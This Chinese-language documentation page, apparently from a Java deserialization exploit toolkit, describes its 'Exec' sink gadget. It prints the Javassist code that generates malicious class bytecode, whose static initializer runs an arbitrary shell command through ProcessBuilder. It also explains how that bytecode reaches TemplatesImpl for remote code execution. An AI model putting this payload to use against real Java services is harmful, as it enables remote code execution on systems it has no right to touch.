Skip to content

Latest commit

 

History

History
76 lines (64 loc) · 5.01 KB

File metadata and controls

76 lines (64 loc) · 5.01 KB

执行命令(Exec)

  • 类别:bytecode 别名:— 优先级:10
  • 作者:Ar3h、jlkl
  • 依赖:无第三方依赖(仅用内置 Javassist 生成字节码;生成期使用 org.apache.commons.lang.StringEscapeUtils 做转义)

作用

生成一段「用 ProcessBuilder 执行系统命令」的恶意类字节码(byte[]),自动识别 Windows/Linux,内部以 cmd.exe /c <cmd>/bin/sh -c <cmd> 执行。它是绝大多数 RCE 预设链的最终 sink,产出的字节码交由上游 BytecodeConvert 处理后装入 TemplatesImpl 之类的类加载载体触发。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 表示本 gadget 产出「原始字节码」,可被 nextTagsBytecode 的上游(即 BytecodeConvert)承接。
    • END —— 标记本 gadget 为链的合法终点(sink),其后不再接任何 gadget。
  • 衔接 nextTags:无 —— 本 gadget 是链尾,不产出可继续衔接的对象。
  • excludes:无。

源码剖析

Gadget 本体只负责「取内层(本链中即无内层,直接产字节码)+ 定制模板类字段」:

@Param(name="命令", description="default: calc")
public String cmd = "calc";

public byte[] getObject() throws Exception {
    String javaSafeCmd = StringEscapeUtils.escapeJava(this.cmd);   // 对命令做 Java 字符串转义,防止特殊字符破坏字节码常量池
    JavassistHelper javassistHelper = new JavassistHelper(ExecBytecode.class);  // 以模板类为蓝本
    javassistHelper.modifyStringField("cmd", javaSafeCmd);         // 把模板里的静态字段 cmd 改写成用户命令
    return javassistHelper.getBytecode();                          // 导出修改后的 class 字节码
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // 本链无内层数据,仅推进链上下文(对齐 invoke 由内向外的构建约定)
    return this.getObject();
}

真正执行命令的逻辑在模板类 ExecBytecode 中,它借助静态初始化块在类被加载/初始化的瞬间触发:

public class ExecBytecode {
    public static String base;
    public static String sep;
    public static String cmd;              // 由 Exec.getObject() 反射改写为攻击者命令

    public ExecBytecode() {
        try {
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                base = "cmd.exe"; sep = "/c";       // Windows
            } else {
                base = "/bin/sh"; sep = "-c";        // *nix
            }
            String[] strings = new String[]{base, sep, cmd};
            new ProcessBuilder(strings).start();     // 执行命令
        } catch (Exception exception) { /* 静默吞异常,避免链因命令异常中断 */ }
    }

    static { new ExecBytecode(); }          // 类初始化即 new,触发上面的命令执行
}

关键点:sink 类把恶意逻辑放在 static {} + 构造函数中,因此只要该类被加载并初始化(例如 TemplatesImpl.newTransformer() 通过 defineClass + newInstance 实例化 translet)即触发 RCE,无需调用任何业务方法。cmdStringEscapeUtils.escapeJava 转义是为了让含引号/反斜杠/中文的命令能安全地写入常量池字符串。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 要执行的系统命令,内部包装为 cmd.exe /c/bin/sh -c calc 任意字符串

适用版本与原理要点

  • 无版本依赖,纯字节码 sink;用 ProcessBuilder(比 Runtime.exec 更稳,参数以数组传递,天然规避空格切分问题)。
  • 自动识别操作系统,Windows 走 cmd.exe /c,其余走 /bin/sh -c(模板中判断 os.namewin)。
  • 常与 BytecodeConvert 配合:BytecodeConvert 负责改类名、设置字节码版本(默认 JDK6/50)、可选实现 AbstractTranslet 接口、混淆等,再交给 TemplatesImpl 触发,要求目标 JDK < 17(高版本改用 TemplatesImpl2 + 反射绕过)。
  • 静默 catch 使命令即便报错也不影响反序列化流程完成。

所属预设链

作为最常用的 RCE sink,出现在大量预设链中,包括:CB1链、CB2链、K1/K2/K3/K4链、JDK17 RCE链、JDK原生链、Groovy/SnakeYaml/Beanshell/Tomcat EL/Xslt 各执行链、Hessian Fastjson/Jackson/XBean 链、Axis2链、二次反序列化链、Rome1/Rome2 二次反序列化链、命令执行[BytecodeConvert, Exec])等(详见 gadgets.json usedInChains)。

关联

  • 上游(承接本 Bytecode tag):BytecodeConvertnextTags=Bytecode),再往上是 TemplatesImpl 等字节码载体。
  • 同族 sink:ExecCustomRuntime.exec 版)、DownloadExec(下载后执行)、Download(仅下载)、Sleep/DNSLog 等探测 sink。